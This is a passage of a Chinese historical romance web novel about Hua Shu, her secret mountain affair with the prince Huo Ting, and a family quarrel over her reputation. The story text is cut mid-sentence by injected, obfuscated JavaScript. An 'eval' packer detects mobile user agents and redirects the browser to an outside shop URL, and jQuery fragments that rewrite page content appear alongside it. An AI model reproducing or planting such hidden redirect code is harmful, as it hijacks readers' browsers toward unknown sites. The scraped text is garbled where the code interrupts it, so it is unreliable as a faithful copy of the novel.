恰是这时,屋外有说话声传来。 但这人不是长缨。 也不是霍千羽和白术。 * 夕阳西下的田埂上,药田随晚风摇曳。 霍华羽站在田地头,用帕子紧紧捂住鼻子,远远地厉声呵斥:“哎呦,这是什么味啊?你这奴才快离我远点!” “二小姐恕罪,奴才这就走远些。”小厮挑着两桶挑粪,匆忙大步往后撤。 霍华羽恼愠地摆手扇着臭味,“你挑这么多大粪来内院作甚?还不快回外院去!” “是表姑娘想要给药田施肥,白术姐姐命小的挑过来。”小厮解释:“前两日才下过雨,这原肥经过药田一晚吸收,明早就没这么大味了。” “那也不行,赶紧拿走!” 霍华羽指着他往外轰。 “这……” 小厮为难,一时不知该听谁的。 木屋内,华姝清晰地听着外面对话,想出去帮着说和,又心虚地不敢出去。 原肥这种物件确实惹人厌恶,霍华羽不喜,她完全能理解。原想着这处偏僻,但如今霍霆也在,华姝自己也有意暂停施肥。 但也恰恰因为霍霆在此,她这会出去,不仅会自动承认自己不是府上的奴婢,还可能会被霍华羽发现,他们孤男寡女共处一室。 山上的事本就人言可畏,若被发现,更会百口难辩。她的清誉已毁了,难道还要再牵连到霍霆吗? 华姝悄悄看了眼身前的男人,双眼轻阖,像是睡着,又像在假寐。 就在她犹豫之际,另一道熟悉的声音,紧随而来—— 是霍千羽:“姝儿这药田有大用处,你不喜欢就走远点呗。” “凭什么要我给她让路?这又不是你白鹭院,我想来就来!”霍华羽这话,显然还在为午后在白鹭院吃了闭门羹一事,耿耿于怀。 霍千羽才不惯着她,“霍家这么大,是搁不下你咋地,就不能去别的地方转转,非得在这膈应人?” “我乐意!” 霍华羽不甘示弱,两人越吵越凶。 华姝越听越是心急,俩人若是吵到动手的地步,两边都是小姐丫鬟们不好拉架,霍千羽坐着轮椅肯定吃亏。 她一时顾不得其他,丢下霍霆,走到门外悄悄查看情况。 远远望去,药田地头上,霍华羽背对这边而立,对面霍千羽坐着轮椅。虽然身量矮上一截,但气势不输半分。她身后跟着丫鬟,还有白术。 幸好,霍华羽身边除了丫鬟,沈青禾也在。 许是还惦记着与霍玄的亲事,沈青禾有意帮衬霍千羽这位未来小姑子,“好了,华羽,一点小事没必要动怒。” 霍华羽:“分明是她先不讲道理!” 霍千羽:“你说谁不讲理?” 两人像仇人见面分外眼红,又要对骂起来。旁边的婢女们,怎么劝都劝不住。 “你家姑娘在何处?”沈青禾忽然看向一旁的白术,“不如请她出来,由她自己做决定。” “姑娘在前头,我这就去请!” 白术说完,抬脚就要往木屋走来。 闻言,华姝脸色一白。 她焦灼地看看前面,又看看背后屋内、阖眼静坐的男人,一时捉襟见肘,不知该先顾哪面。 只要白术过来,她表姑娘的身份,显而易见。她和霍霆独处一室的流言蜚语,不消片刻,就会传遍整个霍家。 “不用去!” 突然这时,霍千羽伸手拦住白术。 她义正言辞道:“自打姝儿救我性命,我就发过誓言:姝儿的事就是我的事。今日这事,我能替她做主!” “哎呦喂,我倒是把这茬给忘了。” 霍华羽扔用帕子掩着面,讥诮道:“华姝不惜毁掉清白救了你一命,你们姐妹情谊确实感天动地。” “你给我住口!” 霍千羽顿时像是炸毛的公鸡,指着她厉声训斥:“姝儿清清白白!你再敢胡说,信不信我让人撕烂你的嘴?” “是我胡说,还是你眼瞎? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782495|145815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 霍华羽一把拉过去沈青禾,“青禾小姨,你来说!那华姝从山里回来后,胸脯大了一圈,是不是被野男人摸大的?!” 沈青禾一时没反应过来,支支吾吾:“我……” “好啊,沈青禾!原来是你教唆华羽,枉我之前还敬重你是长辈!” 霍华羽挡到沈青禾面前,“小姨只是实话实说。华姝她做了丑事,还不兴人说吗?” 霍千羽握紧轮椅扶手,努力压住火气:“那是姝儿最近个头长得快,衣料不合身罢了。” “掩耳盗铃,也就你自己信。这种事,府上早就传遍了……” “我再让你胡说!看我不撕烂你的嘴!”霍千羽越听越气,怎么讲理都讲不通。恼怒至极之下,她不顾双腿瘫痪,一把扑倒霍华羽,两人扭打在一起。 丫鬟们被吓得不轻,纷纷上前拉架,“小姐快别打了,别打了……” 药田地头,顿时乌烟瘴气,乱做一团 木屋门外, 华姝听到最后,脸色惨白如纸。 想逃,避不开那群人。 想躲,屋里也有人。 最后她只能贴着冰冷木板,无力地慢慢滑落在地,将又羞又傀的脸颊,整个埋进膝头。 霍华羽没说错什么。 她愧对千羽表姐的信任。 每一个粗喘交缠的靡乱夜晚……那些拼命压下去的不堪记忆,全部叫嚣着卷土重来。 更无地自容的是,那个让她胸脯迅速发育的男人,就在当场。 他耳力那么好,足矣清晰听见,清楚确定—— 就是府上的表姑娘华姝,曾何等谄媚,何等卑劣,何等欺骗于他。 白白耗费了他母亲抚育多年的良苦用心。 夕阳残血,本就冷凉的秋风,呼呼席卷着大地,愈发阴寒。 本就清减消瘦的身子,飘摇欲坠地缩在寒风里。背脊弯折着,仿佛整个世界都崩塌了。 几滴泪水落在颤抖纤手上,顺着手指一寸寸滑落。先是滚烫如火,风一吹,冷凉如冰。 可华姝不想哭下去。 眼泪解决不了问题,她得尽快振作起来。何况霍霆就在屋内。 细嫩手指蜷缩成拳,紧紧抵住牙关,竭力想将眼眶的泪水逼退,但总有些不争气。 就这般反复十数次,直到远处人群散了。 华姝抬起头,掏出帕子拭去脸上泪痕,双手搓搓脸,尽量让僵掉的脸灵活自然些。 若无其事起身,准备去探探霍霆的反应。 他若不提,那就等准备周全,再登门认错。 他若惩戒,她愿一力承担,只求别被祖母知晓…… 怎料一转身,四目相对。 木屋门口,男人安静坐在轮椅上,晦暗的黑眸深深看着她,威严气息强盛。 浅金山河纹的玄色锦袍,冒着涔涔湿气,似在冷凉夜风里待了许久。 华姝愣住,面无血色。 这会,她越发没底气同他对视,慌忙埋低头,手指不安地攥紧罗裙裙摆。 殊不知两人这般视角,她圆肿的水眸,泛红的鼻尖,孱缠的唇瓣,他都瞧得越发清晰。 华姝深深呼吸,鼓起勇气:“王爷,其实我……” “随我进来。” 霍霆出言打断了她。 8. 已修 他调转轮椅方向,先行回屋,“天色暗了,我眼睛看书不便,你来读。” 华姝微怔,意思是暂不追究了么? 她正是失魂落魄的,索性霍霆让做什么就做什么,颓丧着小脸跟进去,宛若待宰的羔羊。 “书架第三排,左数第四本,从折页处开始读。” “好。”她轻轻说道。 余有细微的鼻音残留。 听起来委屈又可怜。 但华姝并没想卖惨,尴尬地搓了搓手指。然后按他说的,抽出第四本书,是《孙子兵法》。 她有一瞬间纳闷,这本兵书于赫赫有名的战神而言,是否太过低阶? 不过这会心绪不宁,也没有多想。 书卷翻折那页,第五篇《兵势篇》。 “孙子曰:凡治众如治寡,分数是也。斗众如斗寡,形名是也……” 她心不在焉地,为他慢慢诵读起来。 轻柔的细语,和着晚风,涤荡在空旷的木屋里,余音袅袅,却是低迷颓然。 直到读完:“乱生于治,怯生于勇,弱生于强。” 这句话的字面意思是: 军队过分的严整将失去灵活性,反而因为不能应付战势的突变而混乱。过分的勇猛往往产生对失败的恐惧,过分的强大则会产生心理上的弱点。 结合她现下困境,似乎也可理解为: 严整如军队,也会遭遇突发事故而生乱,何况是她? 勇猛如将士,也在怕遭遇失败时而恐惧,何况是她? 过于强大不见得是好事,柔弱无助亦无可厚非…… 华姝哑然一瞬,低头瞧瞧那折起的书页边角,抬头看向长案后、闭目养神的男人。微张的樱唇,不受控制地轻颤两下。 是她想得这个意思吗? 又或纯粹是她的自作多情? “哒、哒。” 他食指轻敲两下长案,又在催促她。 似乎并不打算解释一二。 华姝抿了抿唇,集中精力,继续轻声诵读。原本因为霍华羽和沈青禾的奚落,而郁结的心绪,渐渐平复下来。 原本有气无力的声音,也轻快灵动起来。 只是她不常读兵书,中途忽然遇到一个晦涩生僻的字,不认识,卡住了。 再次仰头看向他,眉尾耷拉下来,有点丢人。 霍霆这次仍是没睁眼,片刻后,右手伸到了她面前。宽厚粗粝的大掌,手心朝上。 华姝看着他这动作,心跳漏了一拍。 这也是他们在山上的习惯。 * 初到茅草屋的前几日,外面阴雨连绵,男人也不能下地行走,枯坐在屋里甚是烦闷。 忽然,他问道:“可识得佛经?” “有读过。 《法华经》《金刚经》《心经》都读过。” 其实华姝平常主要看医书,偶尔陪老夫人礼佛才略知一二。但那会“身陷土匪窝”,始终悬着心的她,自然得无有不应。 不久后,他命人去山顶寺庙寻来几卷佛经,闭目凝神听她诵读。 初卷低阶,华姝温温吞吞地倒也能认全经文。等到第三卷时,好些晦涩经文字样,就认不得了。 他那会眼睛尚不能视物,然后她想着一介山匪粗汉,估计也听不懂佛经,纯粹是为解闷子,于是就想悄悄支吾过去,蒙混过关。 不曾想,“哪个字不认识?” 他阖着双眼,手心朝上伸到她面前,一语道破她的小心思。 被当场抓包,那气氛…… 尴尬得不堪回首。 事后,她自圆其说。 应是他占山为王,经年累月沾染了山顶佛家香火的缘故。 直到今日听白术提及,他十五岁就考中进士。 视线逐渐的木屋里,华姝羞赧地摸了摸鼻尖,生出一股有眼不识泰山的惭愧。 她老老实实将手上兵书递到他面前,软声提醒:“是这个字,王爷您……看一眼?” 霍霆反应了会,后知后觉睁开眼。 面前,脸蛋白净的少女,眉眼低垂着,眼眸还红通通的,像一只蔫头耷脑的小兔子。 他凝了几息,垂下眼帘去瞧书上的字,同时敛去眼底一丝不经意的浅笑。 “骉biāo,形容众马奔腾的意境。” 他顺着她葱白指尖,瞧了一眼,就读出声来。 华姝像是在夫子面前认真听课的好学生,乖巧地跟着读了一遍,然后拿回兵书,准备继续往下读。 霍霆瞧向门外,天幕只留下一线云霞,浅淡的晚月已明镜高悬,“天色不早了,回吧。” “好。” 华姝秉承着他的习惯,将书页折脚作好记号,然后起身放回书架原位,顺便看向门外。 也不知为何,那个长缨侍卫还没回来。感觉有这功夫,都能围着霍家的院墙绕一圈了。 华姝回身,“那……我推您回去?” 他明明自己能走。 霍霆面不改色颔首。 华姝好性子地配合着他,走到身后,推动轮椅,缓步走出木屋。 这会天都黑了,木屋这处偏僻,路上已没人,静谧而清爽。 她推着他,慢慢往清枫斋走去。就好像之前两人手牵手,慢慢走在山道上,吹着山风。 “表妹,原来你在这。” 木屋离着清枫斋不远,华姝本以为不会被旁人瞧见。未料到,迎面撞见了霍玄。 “四叔也在。”霍玄稍有诧异,随即恭敬地朝他拱手见礼。 华姝下意识挪远几步,朝霍玄稍作欠身,“表兄好。” 霍玄一向君子做派,倒不担心他会往外传。但被人撞见他们独处,她多少有些不自在。 相比之下,霍霆反应如常:“出门散心,正巧遇到了表姑娘。” 许是心虚,华姝听他说到“表姑娘”三个字时,感觉略有停顿。 有次亲密后,两人相拥,静听夜雨。 他问:“你是燕京城哪家的姑娘?” 她不想霍家、华家跟着一同丢掉百年世家的脸面,“我只是一个略同医术的奴婢,小姐对我曾有救命之恩,所以想借此报答。” 华姝默默甩了甩头,将那些暧昧又旖旎的羞人画面,强行甩出脑海。 她瞧向男人毫不意外的神色反应,心里百感交集。 他果然早已知晓。 故而适才那兵书上的意思,就是他的态度——事发突然,情有可原,他不会再与她计较。 “确实,清枫斋和月桂居离着近,四叔和姝儿以后估计会经常碰见。”霍玄甚是细心地和络笑道。 华姝却是柳眉微蹙,赧于再见。 霍霆不着痕迹收回那一缕余光,看向前方,淡漠开口:“长缨来了。你们若有事,且先回吧。” 前方,长缨正拿着披风朝他们走来。 霍玄遂拱手告辞:“四叔,那我们就先走一步。” 华姝跟在他后面,稍稍欠身。 想说些什么告别之言,那句“四叔”还是不好意思叫出口。当着霍玄的面喊“王爷”,又怕引起他怀疑。 往白鹭院的两道背影,渐行渐远。 西方最后一丝残阳彻底流逝。天幕从波谲云诡的相伴飞云,变作独对黑暗的清透孤月。 霍霆没急着往回走,坐在沙沙簌簌的秋风里,浅金色山河纹的玄色衣摆随风摇曳,飘荡的目光望向远方。似乎吹走云层的晚风,也吹走了他思绪。 长缨将拿来的披风,规规整整地披到他身上。 披风的颜色,也是一片暗黑,“王爷,您衣橱里没有宝蓝色的披风。” 过了会,“……本王记混了,应是有件披风的里衬是宝蓝色。” “也没有,属下适才一件件都找遍了。”长缨斩钉截铁地说道。 “那就让……”霍霆慢慢回过神,“让针线房做件出来。” 他朝前一挥手,长缨心领神会地推动轮椅往前走,“是。” “将本王库房的布料都拿出来。”霍霆补充道:“正值换季,让各院也都做些新衣。” 长缨应是:“等会回去后,属下就一并安排。” 片刻后,一向惜字如金的主子,再度开口:“那沈青禾之父,如今在谁手底下做事” 长缨鼻头微动,似乎嗅出一丝不同寻常的端倪,“王爷,您突然吩咐分发布料,原来是为给沈姑娘做衣裳啊!” 可人家都不要你了啊。 不过这话,长缨打死都不敢说出来。 “活腻歪了?” 霍霆一记冷眼射过来—— 长缨瞬间跪地:“王爷息怒!” 麻溜快地转动脑子,正色而恭谨地问啥答啥:“沈之鹊乃是府上二夫人明和县主的族兄,二皇子生母贤妃的娘家人。在从四品的官职上待了多年,想来并不得二皇子重用。” 霍霆食指“哒、哒”轻敲轮椅扶手,略略沉吟后,“添到刺杀本王的名单里。” 嗯? 惊天大逆转,让长缨骇然惊愕。但这回他一个字都不敢多嘴:“是。” 霍霆摆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782496|145815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了摆手。 长缨听令起身,继续推着轮椅往清枫斋走。一路垂头丧气,他真是越来越弄不清王爷的想法了。 回到清枫斋后,霍霆不急不缓站起身,走到内室净手。 长缨侯在一旁,很有眼力见地倒水、递帕子。 借着蜡烛的明亮,不经意发觉:“王爷,您这太阳穴怎么肿了一块?” 霍霆闻言,转头朝铜镜看了看,正是华姝先前反复揉按那处。 镜子里,转而浮现一双红肿氤氲的水眸,像只娇怯小兔子,无辜地盈盈凝望着他。 霍霆有片刻失神:“被小兔子挠了。” “兔子?” 长缨一时二张和尚摸不着头,“听您吩咐,属下这三日将府上里里外外都探查过,没发现有人养兔子啊。” 忽然想到什么,他突然大惊失色:“王爷!您不会是眼疾复发,将阿猫阿狗的看成兔子了吧?” “……” 霍霆像看傻子似的瞥他一眼,将帕子扔到他脸上,成功堵住那张喋喋不休的嘴。 然后走到书房,拆看一封新到的密信,渐渐沉脸:“大哥在吏部任职,安排三军的战后事宜,如何能落到他头上?” “按理说该交给兵部,但兵书尚书说大老爷与您住得亲近,诸事交流起来更便捷。” 霍霆冷哼一声,自是不信这种鬼话。 长缨也气不过:“将士们在前线拼死拼活,他们在燕京城养尊处优。如今为了抠搜将士们的安家钱,竟将主意打到您和大老爷头上,这副嘴脸真是叫人恶心。” 可不是嘛,由大老爷霍雲出面安顿,无论出了任何闪失,霍霆这个当弟弟都不好出言不满。如此一来,安家费就能怎么省事怎么来。 霍霆嗤笑:“异想天开。” 他的将士是最英勇的,合该配得最好待遇。这笔安置费不仅不能省,还得让户部出双倍! 他将密信放回书案,“推我去趟白鹭院。” * 前往白鹭院的路上,沿途回廊上已亮起一盏盏灯笼。 许是朦胧的光,将地砖照得晃眼。两人走了半晌,都各自出神,没有说上几句话。 霍玄安静而规矩地走在华姝一步开外处,心中始终惦记着傍晚药田的那场风波,会伤及她心情。 他斟酌良久措辞,才怜惜地安慰道:“我近日准备殿试,偶遇一道旧时命题。这题,当时困顿得我和同窗们都百般煎熬。如今再回首,发现原来也不过如此。” 听得出他在用心安慰,华姝感激地微微一笑:“想来表兄这次的殿试,必能如鱼得水。” 确定那人不会再计较,她这会心绪平复许多。 霍玄是从身边小事入手,而霍霆将她视野放大到千军万马的气阔,不着眼一隅,就不会钻牛角尖。 扪心自问,他阅历丰富,格局宏大包容,是一位很合格的资深长辈。 偏偏他也是局中人。 偏偏那些凌迟着她羞耻心的事,是同他所做。 刚刚华姝有在想,若她真遭遇的是山匪,四叔只是四叔,局面会不会比现在好些? 身旁姑娘的忧心忡忡和强颜欢笑,霍玄都看在眼里,疼在心上。也不知她有没有听进去,可又怕说得太直白,会伤及她自尊。 霍玄垂在衣袖里的双手,无声攥紧,暗暗发誓。 此次殿试,他必定要全力以赴。近日幸能承蒙四叔提点策论,思路开阔许多,势必要争取到好名次。待殿试结束,他就能以未婚夫的名义,名正言顺保护她,再不许旁人非议。 连续挑灯夜读,霍玄眼里布满红血丝。但一想到能保护心爱的姑娘,疲惫随之被熠熠光茫取代。 快了。 距离殿试只剩几日。 两人刚走进白鹭院,就听到东厢房传来的哭哭声。是大夫人在霍千羽的闺房中,心疼痛惜。 “万一你有个好歹,这不是要娘的命哟。” “不行,这事我势必要去找婆母说道说道。”大夫人擦干眼泪,作势往门外走,“霍府以前是二房说了算,但今时不同往日,现在大门上挂得可是镇南王府的牌匾!” “夫人消消气,消消气。”丫鬟们匆忙拦住她。 霍千羽也劝她:“四叔贵为亲王,平日都处理得是军机要案,哪会管咱这种家长里短?娘,您快回来吧,免不得还会被祖母批评。” “那这事是没处说理……” 东厢房门口推拉之际,大夫人瞧见院中的华姝,怒火稍微克制住,无奈一笑:“姝儿来啦,快进来,千羽正念叨你呢。” 9. 已修 霍玄不好进妹妹的闺房,朝大夫人打声招呼,就回自己房中继续温书。 华姝走到门口,挽着大夫人往里走。 走到东边寝房,瞧着霍千羽气色不错,才稍稍松口气。而后朝大夫人盈盈一拜:“这事皆因我而起,两位表姐都没做错什么。是姝儿该给大伯母赔不是。” 她希望大夫人能消气,事情真闹到霍霆面前,估计也不会有太大区别。 他都没追究她的事,想来更不会追究霍千羽她们。 “好孩子,这事怎能不怪你?”要说此事最受伤的,还是这个苦命又懂事的孩子哟! 大夫人忙扶起她,心疼地搂进怀里。 “姝儿,你在木屋是不是都听到了?”霍千羽坐在床上,伸手拉她过去坐,忧心道:“霍华羽就是不辨是非的糊涂蛋,她的混账话,你千万别往心里去。” “我刚去湖边来着,路上才听了几耳朵。”华姝故作轻松笑道。 在这深宅大院,谁又没受过委屈呢? “那正好。”霍千羽松口气,“白术说你在木屋,我本来担心得紧,特地请大哥去寻你。” “我没什么,眼不见心不烦。” 华姝卷起她袖子和裤腿,检查伤势,“倒是你,没受伤吧?刚没能帮忙,实在对不住。” “你怎知我动手了?” 霍千羽有一瞬狐疑。 糟糕。 华姝动作微顿,忙找补道:“……刚听路上有个嬷嬷说的。” “我没事。” 霍千羽一向粗枝大叶,信以为真,浑不在意摆摆手,“倒是霍华羽,被我抓好几把屁股,疼得她嗷嗷叫。刚刚紧捂着没脸说,别提多憋屈了,哈哈……我还薅掉沈青禾一大把头发!” 她兴奋道:“就咱这战绩,四叔见了都得夸我两句。” 提及霍霆,华姝不自在地眨了眨眼。 “……还是让我瞧瞧吧,别留疤才好。否则我罪过就更大了。” 她重点检查霍千羽的双腿,许久没知觉,即便真受伤,自己都不一定能及时发现。 想到霍千羽奋不顾身维护她的样子,华姝就禁不住眼角酸涩。幸好只是轻微擦伤,“不严重,涂些药膏,过几日就能恢复。” “那就好,那就好。” 大夫人守在床边,拍着心口道。 这些年都是华姝在照顾霍千羽的腿疾,大夫人这会不相信府医,只相信她。 瞧着两姐妹互帮互助,惺惺相惜,大夫人感动又感伤,“多好俩孩子。都怪我出身比不得二房,老爷的官职也比不得你们二叔。发生这种事,到头来都无法为你们撑腰。” “我这不好好的嘛,可不准再说丧气话。”霍千羽忙帮她拭泪。 知道大伯母是真心疼自己,华姝也笑着安慰:“可大伯母养出了侠肝义胆的表姐啊! 大表兄的文采,在燕京城同辈中也是首屈一指。真论为人父母,不知多少人羡慕你们呢。” “姝儿说得对,咱大房出去的孩子,个个都比二房那些混账东西懂事!他们现在瞧着风光,实则从根上已经开始烂了。” 大夫人一会破涕而笑,一会咬牙切齿,逗得大伙忍俊不禁。 东厢房压抑的气氛,顿时欢快不少。 “还是姝儿有办法。” 霍千羽朝她竖起大拇指,忽然想到什么,“哎对了,爹不是说让姝儿帮着安置士兵吗?要是爹这次做得好,升个一官半职的,是否就能和二叔平起平坐?” 霍家大老爷霍雲是吏部正五品,二老爷霍霁是工部正四品。两人只差两级,但这些年向来是官大一级压死人。 经霍千羽提醒,大夫人眼前一亮:“对啊!姝儿稍等会,伯母这就寻你伯父来说这事。” 说完,就忙不迭出门,往主屋而去。 与此同时,丫鬟端来几瓶金疮药和活血化瘀的药膏,华姝顺势接过托盘,放到床边小几上。 她作为当事人,这会反倒有点蒙:“让我帮忙安置士兵,是与医治疾病相关?” 这事不难猜,按理说安置士兵这种事轮不到一个闺中女子,她比旁的女子多几分出彩的,即是医术了。 “可不是,说起这事就来气!” 霍千羽不懂什么兵部吏部的,她只知道:“四叔此次带回京七万将士,数量庞大。他们保家卫国多年,身上新伤旧疾无数,结果太医院那边只分给我爹三名太医,哪够用啊?” 华姝点头,“但大伯父应该会征集民间的大夫吧。” “有在召集,但甄选优劣需要耗费些时日。而且,”霍千羽后靠到床头木架上,发愁道:“据我爹说,他手上能调用的银钱不多。” “没人手还没银钱,大伯父这差事不好做啊。这不是故意挤兑人嘛?”华姝蹙起蛾眉,也是又气又忧:“你别急,等会我先和大伯父问问具体事宜。若能帮得上忙,我一定竭尽全力。” 霍千羽不好意思地挠挠头,“还想问问你,那药田的药材正当时,能否先借过去用着?” 华姝挑选玉瓷药瓶的纤手,微顿。 “药材……” 她准备换成银钱,还给霍霆的。 但一想到大伯父这些年的关照,想到是拿去给拼死护国的战士们用,华姝不消须臾,就做好决定:“大伯父需要的话,尽管拿去用。一家人,何谈借还?” “太好了!我就知道,找姝儿准没错!”霍千羽顿时喜笑颜开,她的笑容总是来得容易,热烈又温暖。 满屋子丫鬟都被她感染,跟着欢喜。 华姝也随之眉眼弯弯,真心为她高兴 至于筹备银钱的事,再另想办法吧。 随后用掌心搓热白色药膏,边低头帮她按揉身上淤青,边道:“不过话说回来,安顿将士事关……四叔。他贵为亲王,应能出面帮衬大伯父一二吧。” “我偷偷听我爹说啊,”霍千羽习惯性地任由四肢被她摆弄着,继而压低声音道:“这事有可能,就是有人在故意针对四叔。具体原因,就不得而知了。” 故意针对。 想到霍霆那重伤又中毒的濒死伤势,华姝觉得:这不是有可能,而是非常可能 () { $(''.inform'').remove(); $(''#content'').append('' 。 “不过老实说哦,四叔长得有点凶。除了在祖母面前,性情也威严可怕,是挺容易得罪人的哈?”虽然只在千竹堂那日同霍霆见过一面,但这会一提到他,霍千羽忍不住缩缩脖子。 凶么? 华姝手上的揉搓动作,不自觉慢下来 眼前浮现出,两人山中初遇的画面。 男人身材魁岸,冰冷神情,再加上右眉骨的细疤,活脱脱土匪头子模样。吓得她瑟瑟发抖,一夜无眠。后来每次亲近,也只敢小心翼翼讨好他,时刻提心吊胆。 那人又惯是力大勇猛的,下手没轻没重,前两回没少在她身上留下淤青红肿,夜里稍稍翻身都疼得厉害。更别提白日还要给他煎药,伺候喝水吃饭。 偏偏他双眼看不见,她也不敢抱怨分毫,只得咬紧唇瓣,默默强忍着。直到有次夜里实在没忍住,吃痛出声,他才似乎察觉到什么:“弄疼你了?” 话是关心的话,但从他嘴里说出来,冷沉嗓音依旧凶巴巴的。 吓得她赶忙含泪否认:“没事的。” 这话骗不过他,“让我瞧瞧。” 那会,瞧是瞧不见的。于是,他那粗粝炙热的大掌,开始在她酸痛娇嫩的身上逡逡巡巡地摩挲着,免不得被他二次祸害…… 这会回忆起来,华姝多少有些委屈,香腮微鼓,赌气道。 “也不是有点凶吧。” “是特别凶!” “哈哈哈……”霍千羽不明真相,只顾大笑:“姝儿,你这用词可相当精辟!” 晚风轻拂,缓缓吹动小轩窗上的紫砂窗帘,连带着翡翠玉石的珠串帘幔“叮当”作响。 东厢房内爽朗的笑声,叠加上清脆的叮当声,恰是将将掩盖住了窗外的,轮椅木轮碾压过小石子的轻微动静。 “大抵,是眉骨那道疤的缘故。” 这时,窗内再度响起华姝的话语声。 在得知他真实身份后,她又会不可免俗地另眼相看。 近两年来,前方战事捷报,频频传回燕京城。神秘战神的光辉事迹,为百姓们津津乐道:“一人一剑抢回一座城池,解救数万百姓性命呐!” 听了太多,他高大巍峨的形象,早已深入人心。宛若大昭国的脊梁骨,但凡有他在,天就不会塌。 略略思忖后,华姝还是对那个凶神恶煞的男人偏心过去,忍不住在人前维护他:“但也正因此,能令敌寇闻风丧胆,保我大昭国长盛久安呐。” 刚经历一场劫难,她这会说起话来,声音轻轻软软,像是天边朵朵彩云往四处飘散着。 话音刚落,就被门外大老爷霍雲的话语声掩盖,“澜舟,你来得正好。安排三军将士之事,我正想听听你的想法。” 东厢房的空气,蓦地寂静。 众人面面相觑,都吓傻了眼,赶忙偷偷瞄向窗外。 华姝的心“咚咚”跳不停,也扭头悄看外面。不巧高大葱郁的剑兰树,挡住了她视线,瞧不见霍霆的神情反应。 那人何时来的? 刚刚的对话,他听到了多少? 10. 已修 霍霆当下没说什么,直接与大老爷霍雲前往书房。两人关上门,商议安置将士的要事。 但那会大夫人是与大老爷一同走到院子的。东厢房内小姐俩的对话,霍霆能听到的,大夫人也全听见了。 她走进东厢房,刚想发火却瞧见—— 做错事的俩小姐妹,在床边并肩坐得上身板正,惭愧得耷拉着小脑袋瓜,像两只同甘共苦的缩头小乌龟。 “娘,我知道错了。” “大伯母,姝儿也知错了。” 大夫人瞧得又气又想笑,但仍强行板住脸:“千羽,你自己瞎胡闹就算了,姝儿那么乖,也被你牵连进来。等会你四叔出来,你们好生向他赔个不是,听到了吗?” 且不说如今霍霆身居高位,掌握着整个霍家的未来,更关系到此次大老爷霍雲能否熬过难关。单说这俩孩子背后议论长辈,还笨手笨脚地被人当场听见了,她身为长辈必须得拿出态度来,好生教导。 “听见了,我等会一定向四叔郑重赔礼道歉。”霍千羽爽快应下。 一想到要面对那人,还是做错事的情况下,华姝则是隐隐头皮痛,强忍着点了点头:“……好,让大伯母费心了。” 注意到华姝脸色有些胆怯苍白,大夫人态度和缓几分:“也不用太紧张,你四叔大抵也不会同俩小孩子太过计较。” “……嗯。” 华姝轻轻应声,但还是无异常地搓着手指。 然后她扶着霍千羽坐到轮椅上,两人跟在大夫人身后,乖乖到主屋里等。 霍霆在书房内室谈事多久,华姝心里就忐忑多久。 手办白玉镂空麒麟香炉之中,丝丝缕缕的淡青色烟雾,与同门而入的莹白月光,在她眼前纷繁缠绕,再轻轻消散。如此反复,剪不断,理还乱。 终于,书房门在爽朗大笑中被打开。 大老爷霍雲推着霍霆的轮椅,从门内缓步走出,“还得是澜舟,不愧是咱大昭的战神!你这别出心裁的思路,我越想越是佩服。” 霍霆淡声应道:“大哥严重了,后续澜舟烦劳你之处,还会颇多。” “一家人不谈麻不麻烦的。真要计较,往后还不是我们烦扰四弟居多?你别见怪才是。” 大夫人赶忙笑吟吟迎上前,接过话茬:“晚膳这就能上桌,四弟吃过再走吧。这俩孩子刚还说呢,许久未与四叔坐下来一同用饭了。” 说着,就回头给两人拼命使眼色。 霍千羽也忙迎上去,笑着附和:“是啊,四叔一起用晚膳吧。侄女多年未与您亲厚过,不了解您性情,兀自说错话,还望您大人不记小人过。” 霍千羽这一上前,华姝也不得不硬着头皮跟上去,半怯半臊地躲在轮椅身后,尽可能与霍霆拉开些距离。 大伯母本是一句寻常客套话。 却不知,前不久在山中,她才同他一起同桌共食半月,甚至是同床共枕过。 华姝这会,根本不敢去瞧霍霆的神色 只垂眸瞧着脚尖,轻声道歉:“先前是华姝出言无状,还望……您别往心里去。” 她郑重地向他欠身行礼。 潜意识里,也想为山中愧事一并致歉 霍霆抬眼瞧向她们,极具洞穿力的视线,经过霍千羽前额,直达躲在她身后之人。 在黑白分明的幽邃黑眸里,映照出娴静少女的半张玉颜,她圆润耳垂上不自然的粉,和频繁眨动的长睫。 他的目光没有过多停留,转头看向大夫人,“无碍,大嫂不必斥责她们。” “你既是发话,那我这次且观后效。”大夫人顺水推舟地应承下来,她板脸点了点霍千羽,“都怪这臭丫头胡闹,姝儿一向懂事。” 华姝刚刚郑重肃然行礼,看在大夫人眼中,误以为是这孩子自幼寄人篱下,心思总比同龄人更细腻敏感,颇为心疼。 她忽然想到什么,热情地回忆道:“澜舟离家那会,姝儿你们年纪小,难免不记事。但我依稀记得,姝儿幼时最黏着你四叔。有一年,你那会还没凳子高呢,就敢往你四叔的进士文牒上画画,差点被你爹打屁股,最后还是你四叔护住了你。” “姝儿,你还有这么调皮的时候?” 霍千羽惊奇回头。 华姝不自在地拢了拢耳边的发丝,轻声道:“我不记得了。” 他十五岁中进士,她那会只有三岁。 世家侄女,调皮捣蛋的小哭包,博学宽厚的少年小叔叔……本该风趣又美好的回忆,就如霍千羽这般反应。 可以她如今的境遇,脸上笑容全无,只有火辣辣的烫。 幸好大老爷霍雲瞧出她的尴尬,制止住大夫人,“你好好地提这些作甚?姑娘们都大了,正是脸皮薄的时候。” “害,我原想着,让姝儿多与她四叔亲厚些。” 